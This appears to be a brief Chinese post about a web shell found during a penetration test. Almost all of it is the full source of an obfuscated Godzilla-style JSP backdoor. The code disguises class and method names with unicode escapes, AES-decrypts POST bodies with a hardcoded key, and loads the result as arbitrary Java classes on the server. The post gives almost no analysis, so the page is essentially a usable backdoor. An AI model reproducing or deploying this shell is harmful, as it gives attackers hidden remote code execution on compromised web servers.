渗透中遇见一个有意思的Godzillade的🐎

Hello Administrator!

WelCome To Tas9er Java Console!<%@page import="sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random" %>

<%!

    class tas9erH7uPgZCSN extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {

        tas9erH7uPgZCSN(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 tas9ergbo1bemuT) {

            super(tas9ergbo1bemuT);

        }

        public Class tas9ereDoOI2vhx(byte[] tas9er40n4RJxBZ) {

            return super.d\uuuuuuuuu0065fineClass(tas9er40n4RJxBZ,0,tas9er40n4RJxBZ.length);

        }

    }

%><%

    out.println("Random Garbage Data:");

    Random tas9erDnSwcFbdE = new Random();

    int tas9ersUXDTjJW0 = tas9erDnSwcFbdE.nextInt(1234);

    int tas9erNYVdGiD3k = tas9erDnSwcFbdE.nextInt(5678);

    int tas9erUcjvHeUPq = tas9erDnSwcFbdE.nextInt(1357);

    int tas9err8PVtjzGU = tas9erDnSwcFbdE.nextInt(2468);

    out.println(tas9ersUXDTjJW0+","+tas9erNYVdGiD3k+","+tas9erUcjvHeUPq+","+tas9err8PVtjzGU);

    String[] tas9erYLr34bXrz = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};

    String tas9erxeFLnlJvV = tas9erYLr34bXrz[1] + tas9erYLr34bXrz[3] + tas9erYLr34bXrz[5] + tas9erYLr34bXrz[7];

    if (request.getMethod().equals(tas9erxeFLnlJvV)) {

        String tas9erfiDFHAuRH = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw=="));

        session.setAttribute("u", tas9erfiDFHAuRH);

        Cipher tas9erEpSzqERzp = Cipher.getInstance("AES");

        tas9erEpSzqERzp.init(((tas9ersUXDTjJW0 * tas9erNYVdGiD3k + tas9erUcjvHeUPq - tas9err8PVtjzGU) * 0) + 3 - 1, new SecretKeySpec(tas9erfiDFHAuRH.getBytes(), "AES"));

        new tas9erH7uPgZCSN(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).tas9ereDoOI2vhx(tas9erEpSzqERzp.doFinal(new sun.misc.B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

    }

%>